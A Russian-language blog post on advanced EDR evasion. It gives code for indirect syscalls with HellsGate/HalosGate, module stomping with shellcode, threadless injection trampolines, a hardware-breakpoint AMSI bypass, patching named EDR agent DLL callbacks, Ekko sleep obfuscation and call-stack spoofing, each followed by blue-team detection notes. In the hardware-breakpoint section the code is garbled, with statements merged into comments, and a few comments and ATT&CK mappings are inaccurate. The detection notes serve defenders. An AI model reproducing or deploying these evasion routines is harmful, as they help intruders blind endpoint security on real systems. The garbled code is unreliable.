Продвинутый обход EDR: техники 2025 года

Posted on 28 марта, 2026 by AkaTor

Категория: Red Team / Blue Team / Purple Team
Уровень: Advanced
Автор: Aka Tor

Введение

В первой статье мы разобрали архитектуру EDR и базовые техники обхода. Теперь идём глубже — в техники, которые реально работали против современных EDR в 2025 году. Каждая техника разобрана с позиции Red Team (как атаковать) и Blue Team (как детектить).

---

1. Indirect Syscalls — обход stack trace analysis

Проблема direct syscalls

Современные EDR анализируют **call stack** при каждом syscall. Direct syscall оставляет грязный стек — вызов идёт из неизвестного модуля, а не из `ntdll.dll`:

```
Direct syscall call stack (палится):
    0x00007FF6A1230044  →  payload.exe!main    ← syscall отсюда,
подозрительно

Легитимный call stack:
    0x00007FFB1234ABCD  →  ntdll.dll!NtAllocateVirtualMemory
    0x00007FFB0011FF00  →  kernel32.dll!VirtualAlloc
    0x00007FF6A1230044  →  program.exe!main
```

Решение: Indirect Syscalls

Вместо выполнения `syscall` из своего кода, мы прыгаем (`jmp`) на инструкцию `syscall; ret` внутри самой `ntdll.dll`. Call stack выглядит легитимно.

```
; Indirect syscall — NtAllocateVirtualMemory
; Шаг 1: Найти адрес инструкции "syscall; ret" внутри ntdll
; Шаг 2: Подготовить регистры как для обычного syscall
; Шаг 3: JMP на этот адрес вместо прямого syscall

get_ssn_and_addr:
    ; Парсим ntdll в памяти, ищем stub NtAllocateVirtualMemory
    mov rax, [ntdll_base]
    ; ... находим Export Directory, ищем функцию по хэшу имени
    ; ... читаем SSN (syscall number) из байт: 4C 8B D1 B8 XX 00 00 00
    ; ... запоминаем адрес инструкции syscall (0F 05) внутри этого
stub

invoke_indirect:
    mov r10, rcx                    ; первый аргумент
    mov eax, ssn                    ; syscall number (динамически
найденный)
    jmp qword ptr [syscall_addr]    ; прыжок в ntdll!NtXxx на
инструкцию syscall
                                    ; return address уже в стеке →
стек чистый
```

HellsGate — динамическое определение SSN

Проблема: номера syscall (SSN) меняются между версиями Windows. Hardcode — ненадёжно. HellsGate решает это, парся `ntdll.dll` в рантайме:

```
// HellsGate: динамическое определение SSN
// Каждый Nt-stub в ntdll имеет шаблон:
// 4C 8B D1     mov r10, rcx
// B8 XX XX 00 00  mov eax, SSN    ← вот наш номер
// 0F 05        syscall
// C3           ret
```

```
DWORD GetSSN(PVOID pFunctionAddress) {
    PBYTE stub = (PBYTE)pFunctionAddress;

    // Проверяем что stub не хукнут (первые байты совпадают с
шаблоном)
    if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 &&  //
mov r10, rcx
        stub[3] == 0xB8) {                                        //
mov eax, imm32
        // SSN находится в байтах [4] и [5]
        return *(DWORD*)(stub + 4);
    }

    return 0; // stub хукнут, нужен fallback
}

// HalosGate: если stub хукнут (JMP вместо mov r10,rcx),
// смотрим на соседние stub'ы — их SSN отличается на ±1
DWORD GetSSN_HalosGate(PVOID pFunctionAddress) {
    PBYTE stub = (PBYTE)pFunctionAddress;

    // Stub хукнут? Ищем соседний нехукнутый
    for (int i = 1; i < 500; i++) {
        // Проверяем stub выше (SSN = найденный + i)
        PBYTE neighbor_down = stub + (i * 32); // stub'ы идут через
~32 байта
        if (neighbor_down[0] == 0x4C && neighbor_down[3] == 0xB8) {
            return *(DWORD*)(neighbor_down + 4) - i;
        }
        // Проверяем stub ниже (SSN = найденный - i)
        PBYTE neighbor_up = stub - (i * 32);
        if (neighbor_up[0] == 0x4C && neighbor_up[3] == 0xB8) {
            return *(DWORD*)(neighbor_up + 4) + i;
        }
    }
    return 0;
}
```

Blue Team: детект indirect syscalls

- **ETW Threat Intelligence** — kernel-level, видит операции независимо от способа вызова
- **Return address validation** — проверка что return address указывает на инструкцию после `call`, а не после `jmp`
- **Unbacked memory execution** — код, вызывающий indirect syscall, часто исполняется из памяти без backing file
- **Нестандартные паттерны доступа к ntdll** — парсинг Export Directory в рантайме оставляет следы

---

2. Module Stomping — инъекция без выделения RWX памяти

Проблема классической инъекции

Классическая инъекция: `VirtualAllocEx(RWX)` → `WriteProcessMemory` → `CreateRemoteThread`. EDR видит каждый шаг. Выделение RWX памяти — главный red flag.

Техника Module Stomping

Вместо выделения новой памяти — загружаем легитимную DLL и перезаписываем её `.text` секцию шеллкодом:

```
// Module Stomping: загрузка легитимной DLL и перезапись её кода
// Шаг 1: Загрузить безобидную DLL в целевой процесс
HMODULE hDecoy = LoadLibraryA("amsi.dll"); // или любая другая DLL

// Шаг 2: Найти .text секцию загруженной DLL
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDecoy;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)hDecoy +
dos->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);

PVOID textBase = (PBYTE)hDecoy + section->VirtualAddress;
```

```
DWORD textSize = section->Misc.VirtualSize;

// Шаг 3: Сменить права на RW (не RWX — менее подозрительно)
DWORD oldProtect;
VirtualProtect(textBase, textSize, PAGE_READWRITE, &oldProtect);

// Шаг 4: Записать шеллкод поверх .text секции
memcpy(textBase, shellcode, shellcodeSize);

// Шаг 5: Вернуть права на RX (executable, но не writable)
VirtualProtect(textBase, textSize, PAGE_EXECUTE_READ, &oldProtect);

// Шаг 6: Вызвать шеллкод — он теперь "часть" легитимной DLL
((void(*)())textBase)();
```

Почему это работает

- Память **backed by a file** (DLL на диске) — не unbacked memory
- Нет `VirtualAllocEx` с RWX — нет красного флага
- Шеллкод исполняется из адресного пространства легитимной DLL
- Call stack показывает вызов из известного модуля

Blue Team: детект module stomping

- **Private memory in image range** — после перезаписи .text секция становится private (modified) вместо shared. Это детектируется через `NtQueryVirtualMemory` с `MemoryMappedFilenameInformation`
- **Сравнение .text на диске vs в памяти** — расхождение = stomping
- **Загрузка нетипичных DLL** — если процесс загрузил DLL, которую обычно не использует
- **Sysmon Event ID 7** (Image Load) — коррелировать с последующей подозрительной активностью

---

3. ThreadlessInject — инъекция без создания потока

Проблема

`CreateRemoteThread`, `NtCreateThreadEx`, `QueueUserAPC` — все эти методы создания потока триггерят kernel callbacks (`PsSetCreateThreadNotifyRoutine`). EDR видит каждый новый поток.

Техника: перехват существующего потока через hook

Вместо создания нового потока — ставим хук на функцию, которую целевой процесс **точно вызовет** сам. Когда процесс вызывает эту функцию — выполняется наш шеллкод.

```
// ThreadlessInject: инъекция через перехват вызова в целевом процессе
// Концепт: хукаем функцию в ntdll целевого процесса

// Шаг 1: Открыть handle целевого процесса
HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
FALSE, targetPID);

// Шаг 2: Выбрать функцию для хука
// Нужна функция, которую процесс регулярно вызывает
// Например: NtWaitForSingleObject, NtClose, Sleep
PVOID hookTarget = GetRemoteProcAddress(hProcess, "ntdll.dll",
"NtWaitForSingleObject");

// Шаг 3: Записать трамплин
// Трамплин: сохранить регистры → вызвать шеллкод → восстановить
регистры →
// выполнить оригинальные байты → вернуться
BYTE trampoline[] = {
    // push registers
    0x50, 0x51, 0x52, 0x53, 0x56, 0x57,
    // sub rsp, 0x28 (shadow space)
    0x48, 0x83, 0xEC, 0x28,
    // mov rax, shellcode_addr
    0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    // call rax
    0xFF, 0xD0,
    // add rsp, 0x28
```

```
    0x48, 0x83, 0xC4, 0x28,
    // pop registers
    0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58,
    // original bytes of hooked function
    // ... (первые N байт NtWaitForSingleObject)
    // jmp back to original+N
    0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,
    // addr to jump back
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

// Шаг 4: Записать шеллкод + трамплин в целевой процесс
// Шаг 5: Перезаписать начало NtWaitForSingleObject → jmp trampoline
// Шаг 6: Ждать — процесс сам вызовет NtWaitForSingleObject
//         → выполнится наш шеллкод
//         → хук снимается (self-unhook)
//         → оригинальная функция продолжает работу
```

Преимущества

- **Нет создания потока** — `PsSetCreateThreadNotifyRoutine` не срабатывает
- **Нет APC** — `NtQueueApcThread` не вызывается
- **Self-unhook** — после выполнения хук снимается, следов минимум
- Работает в контексте существующего потока — выглядит легитимно

Blue Team: детект threadless injection

- **ETW Threat Intelligence** — `WriteProcessMemory` в .text секцию ntdll видно через kernel ETW
- **Integrity monitoring** — периодическая проверка первых байт критических функций ntdll
- **Cross-process write detection** — `ObRegisterCallbacks` видит `OpenProcess` с правами записи
- **Memory scanning** — поиск трамплинов (push/pop + jmp паттерны) в .text секциях

---

4. Hardware Breakpoint Hooking — невидимые хуки

Концепт

Вместо software hooks (перезапись байт) используем **аппаратные отладочные регистры** (DR0-DR3) CPU. Они позволяют поставить до 4 breakpoints, которые не модифицируют код в памяти.

```
// Hardware Breakpoint Hook: перехват AmsiScanBuffer без патчинга
памяти
// DR0-DR3: 4 аппаратных breakpoint регистра
// DR7: управляющий регистр (включение/тип breakpoint)

BOOL SetHardwareBreakpoint(PVOID targetAddr, int drIndex) {
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    HANDLE hThread = GetCurrentThread();
    GetThreadContext(hThread, &ctx);

    // Установить адрес breakpoint в DR0
    switch (drIndex) {
        case 0: ctx.Dr0 = (DWORD64)targetAddr; break;
        case 1: ctx.Dr1 = (DWORD64)targetAddr; break;
        case 2: ctx.Dr2 = (DWORD64)targetAddr; break;
        case 3: ctx.Dr3 = (DWORD64)targetAddr; break;
    }

    // Включить breakpoint в DR7
    // Bits 0,2,4,6 — local enable для DR0-DR3
    ctx.Dr7 |= (1 << (drIndex * 2)); // Тип: execution breakpoint (00)
// DR7 bits [16-17] для DR0, [20-21] для DR1, etc. // 00 = execute, 01
= write, 11 = read/write SetThreadContext(hThread, &ctx); // Теперь
при вызове targetAddr произойдет EXCEPTION_SINGLE_STEP // Наш VEH
handler перехватит исключение return TRUE; } // Vectored Exception
Handler — наш "хук" LONG CALLBACK HookHandler(PEXCEPTION_POINTERS
pExInfo) { if (pExInfo->ExceptionRecord->ExceptionCode ==
EXCEPTION_SINGLE_STEP) {
```

```
        // Проверяем что breakpoint сработал на нашем адресе
        if (pExInfo->ContextRecord->Rip ==
(DWORD64)amsiScanBufferAddr) {
            // Подменяем результат: записываем AMSI_RESULT_CLEAN в
параметр result
            // 6-й аргумент AmsiScanBuffer — указатель на результат
            // В x64: 5-й и далее аргументы на стеке
            PDWORD pResult = (PDWORD)(pExInfo->ContextRecord->Rsp +
0x30);
            *pResult = 0; // AMSI_RESULT_CLEAN

            // Пропускаем функцию — устанавливаем RIP на ret
            pExInfo->ContextRecord->Rip = ReturnAddress;
            // Или: меняем RAX на S_OK и прыгаем на ret
            pExInfo->ContextRecord->Rax = S_OK;

            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

// Установка:
AddVectoredExceptionHandler(1, HookHandler);
SetHardwareBreakpoint(amsiScanBufferAddr, 0);
```

Почему это мощно

- **Никаких модификаций памяти** — .text секция amsi.dll не тронута
- Hook integrity checks ничего не находят — байты не изменены
- Работает для AMSI, ETW, любых функций
- Обход `VirtualProtect` мониторинга — VirtualProtect не вызывается

Ограничения

- Только **4 breakpoint** одновременно (DR0-DR3)
- Работает **per-thread** — нужно ставить на каждый поток
- EDR может чистить debug-регистры через `SetThreadContext`

Blue Team: детект hardware breakpoint hooking

- **Мониторинг debug-регистров** — периодическая проверка DR0-DR3 через `GetThreadContext`
- **VEH registration** — детект вызовов `AddVectoredExceptionHandler`
- **NtSetContextThread** — мониторинг установки debug-регистров через ETW
- Некоторые EDR превентивно **чистят DR-регистры** при старте процесса

---

5. Callback Overwriting — тихое убийство EDR

Концепт

Вместо удаления kernel callbacks (BYOVD, требует уязвимый драйвер) — **перезаписываем callback-функцию EDR** в user-mode, подменяя её на `ret`. EDR-драйвер вызывает callback, но он мгновенно возвращается без действий.

```
// Callback overwriting в user-mode DLL агента EDR
// EDR DLL инжектится в каждый процесс и содержит callback-обработчики

// Шаг 1: Найти DLL агента EDR в процессе
// Известные имена: CrowdStrike — csagent.dll, SentinelOne —
InProcessClient64.dll
// Carbon Black — cbsensor.dll, Cortex XDR — cyinjct.dll

HMODULE hEdrDll = NULL;
MODULEENTRY32 me32;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
GetCurrentProcessId());
while (Module32Next(hSnap, &me32)) {
    // Ищем EDR DLL по имени или по характерным экспортам
    if (IsEdrModule(me32.szModule)) {
        hEdrDll = me32.hModule;
        break;
    }
}
```

```
// Шаг 2: Найти callback-функции внутри EDR DLL
// Обычно это экспортируемые функции или можно найти по паттернам

// Шаг 3: Перезаписать начало callback на "xor eax,eax; ret"
DWORD oldProtect;
VirtualProtect(callbackAddr, 3, PAGE_READWRITE, &oldProtect);

BYTE patch[] = { 0x33, 0xC0, 0xC3 }; // xor eax, eax; ret
memcpy(callbackAddr, patch, sizeof(patch));

VirtualProtect(callbackAddr, 3, oldProtect, &oldProtect);

// Теперь при срабатывании callback — функция сразу возвращает 0
// EDR "спит" внутри этого процесса
```

Blue Team: детект callback overwriting

- **Self-integrity checks** — EDR должен периодически проверять свои callback-функции
- **Tamper protection** — PPL (Protected Process Light) для EDR-агента
- **Kernel-level heartbeat** — драйвер EDR проверяет что user-mode агент жив и не модифицирован
- **VirtualProtect мониторинг** — смена прав на .text секцию EDR DLL

---

6. Sleep Obfuscation — шифрование шеллкода во время сна

Проблема

EDR периодически сканирует память процессов на наличие шеллкода/beacon'ов. Если C2 beacon спит (Sleep) между callback'ами — его можно найти в памяти.

Техника

Перед вызовом `Sleep` — шифруем весь beacon в памяти. После пробуждения — расшифровываем обратно.

```
// Sleep Obfuscation: Ekko / Foliage / Cronos
// Beacon шифруется перед сном, расшифровывается при пробуждении

// Ekko: использует Timer Callbacks для шифрования/расшифровки
void EkkoSleep(DWORD sleepTime) {
    CONTEXT ctxThread = {0};
    CONTEXT ropGadget = {0};

    // Генерируем случайный ключ для XOR
    BYTE key[16];
    BCryptGenRandom(NULL, key, sizeof(key),
BCRYPT_USE_SYSTEM_PREFERRED_RNG);

    // Шаг 1: Создаем Timer Queue
    HANDLE hTimerQueue = CreateTimerQueue();
    HANDLE hTimer1, hTimer2, hTimer3, hTimer4, hTimer5;

    // Шаг 2: Цепочка таймеров (ROP chain через Timer Callbacks):

    // Timer 1 (100ms): Сохранить контекст текущего потока
    CreateTimerQueueTimer(&hTimer1, hTimerQueue,
        (WAITORTIMERCALLBACK)NtContinue, &ctxThread, 100, 0, 0);

    // Timer 2 (200ms): VirtualProtect(beacon, RW) — сделать writable
    CreateTimerQueueTimer(&hTimer2, hTimerQueue,
        (WAITORTIMERCALLBACK)VirtualProtect, &protectArgs_RW, 200, 0,
0);

    // Timer 3 (300ms): SystemFunction032 — XOR-шифрование beacon в
памяти
    CreateTimerQueueTimer(&hTimer3, hTimerQueue,
        (WAITORTIMERCALLBACK)SystemFunction032, &cryptArgs, 300, 0,
0);

    // Timer 4 (100ms + sleepTime): SystemFunction032 — расшифровка
    CreateTimerQueueTimer(&hTimer4, hTimerQueue,
        (WAITORTIMERCALLBACK)SystemFunction032, &cryptArgs, 100 +
sleepTime, 0, 0);
```

```
    // Timer 5 (200ms + sleepTime): VirtualProtect(beacon, RX) — вернуть executable
    CreateTimerQueueTimer(&hTimer5, hTimerQueue,
        (WAITORTIMERCALLBACK)VirtualProtect, &protectArgs_RX, 200 + sleepTime, 0, 0);

    // Шаг 3: Засыпаем — beacon зашифрован в памяти
    // Периодическое сканирование EDR видит только мусор
    WaitForSingleObject(GetCurrentThread(), sleepTime + 500);

    // Шаг 4: Таймеры расшифровали beacon и восстановили RX
    // Beacon продолжает работу
}

// Вариант попроще: Foliage — то же самое через APC вместо таймеров
// Cronos — через Thread Pool callbacks
```

Blue Team: детект sleep obfuscation

- **Timer Queue monitoring** — массовое создание таймеров с callback'ами на VirtualProtect/SystemFunction032
- **Flipping memory permissions** — быстрое переключение RW ↔ RX одного региона — аномалия
- **Scanning при transition** — сканировать память в момент перехода RW→RX (пока beacon расшифрован)
- **Call stack analysis** — Timer callbacks вызываются из `ntdll!TppTimerpExecuteCallback` → подозрительный call chain
- **BeaconEye / Hunt-Sleeping-Beacons** — специализированные тулзы для детекта

---

7. Stack Spoofing — подмена call stack

Проблема

Даже с indirect syscalls и sleep obfuscation — EDR может проверить call stack спящего потока. Если в стеке видны подозрительные return address (unbacked memory, неизвестные модули) — алерт.

Техника: подмена return addresses в стеке

```
// Stack Spoofing: подмена return addresses перед Sleep
// Идея: заменить реальные return address на легитимно выглядящие

void SpoofCallStack() {
    CONTEXT ctx;
    RtlCaptureContext(&ctx);

    // Пройти по stack frames
    PVOID stackFrames[64];
    DWORD frameCount = RtlWalkFrameChain(stackFrames, 64, 0);

    // Сохранить оригинальные return addresses
    for (int i = 0; i < frameCount; i++) {
        savedFrames[i] = stackFrames[i];
    }

    // Подменить return addresses на адреса внутри легитимных DLL
    // Например: kernel32!BaseThreadInitThunk,
ntdll!RtlUserThreadStart
    // Это создаёт иллюзию "нормального" стека

    // Вариант 1: Frame spoofing — подменяем RBP chain
    // Вариант 2: Full stack copy — копируем стек легитимного потока

    // После пробуждения — восстанавливаем оригинальные frames
}
```

Инструменты

- **CallStackSpoofer** — подмена call stack для syscalls
- **ThreadStackSpoofer** — очистка/подмена стека перед Sleep
- **Unwinder** — манипуляция unwind info для легитимного вида стека

Blue Team: детект stack spoofing

- **Unwind metadata validation** — проверка что return addresses совпадают с `.pdata` / unwind info модулей

- **Frame pointer validation** — RBP chain должна быть консистентной
- **Thread start address** — проверка `NtQueryInformationThread(ThreadQuerySetWin32StartAddress)`
- **Gadget detection** — return address указывает на `jmp rbx` или `ret` — это гаджет, а не реальный код

---

8. Матрица: продвинутые техники

Техника	Обходит	НЕ обходит	Сложность
Indirect Syscalls	User hooks + stack trace (basic)	ETW-TI, kernel callbacks	Medium
Module Stomping	Unbacked memory detection, VirtualAlloc RWX	Private page detection, memory comparison	Medium
ThreadlessInject	Thread creation callbacks	Cross-process write detection, ETW-TI	High
HW Breakpoint Hook	Memory integrity checks, VirtualProtect monitoring	Debug register monitoring, VEH detection	Medium
Callback Overwriting	EDR user-mode monitoring	PPL, kernel heartbeat, self-checks	Medium
Sleep Obfuscation	Memory scanning during sleep	Timer monitoring, RW/RX flip detection	High
Stack Spoofing	Call stack analysis of sleeping threads	Unwind metadata validation, frame checks	High

---

9. Рекомендации

Для Red Team

- Indirect syscalls — минимум для любого серьёзного тулкита в 2025
- Module Stomping + ThreadlessInject — комбо для инъекции без основных IOC
- Sleep Obfuscation + Stack Spoofing — обязательно для long-running implants
- Hardware Breakpoint Hooks — для AMSI/ETW bypass без патчинга памяти
- Тестируй каждую технику against конкретного EDR в лабе — детекты постоянно обновляются

Для Blue Team

- **ETW Threat Intelligence** — единственный источник телеметрии, который не обходится из user-mode
- **PPL для EDR-агента** — защита от callback overwriting и DLL патчинга
- **Periodic memory scanning** — не только при аллокации, но и по таймеру (ловит sleep obfuscation в момент расшифровки)
- **Debug register monitoring** — чистить DR0-DR3 или алертить при их изменении
- **Private page detection** — страницы в диапазоне DLL должны быть shared, не private
- **HVCI + Credential Guard** — уменьшает blast radius даже при успешном обходе

Для Purple Team

- Создайте матрицу покрытия: для каждой техники — какие детекты есть, какие отсутствуют
- Проверяйте не только алерты, но и телеметрию — возможно данные есть, но правила не написаны
- MITRE ATT&CK mapping: T1055.012 (Process Hollowing), T1574.001 (DLL Search Order Hijacking), T1497.003 (Time-Based Evasion)

Заключение

Обход EDR в 2025 — это не одна техника, а **комбинация**: indirect syscalls для вызовов ядра, module stomping для размещения кода, threadless injection для запуска, hardware breakpoints для отключения AMSI/ETW, sleep obfuscation для скрытия beacon’a в памяти, stack spoofing для маскировки call stack. Каждый слой закрывает слабость предыдущего.

Для защитников ключевой вывод: **kernel-level телеметрия** (ETW-TI, kernel callbacks) остаётся самым надёжным источником. User-mode компоненты EDR — это первая линия, которая будет обойдена. Вторая линия — kernel. Третья — поведенческая аналитика и корреляция событий.

В следующей статье: **Практический Red Team лоадер** — собираем все техники в один рабочий имплант с детальным разбором кода.

Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.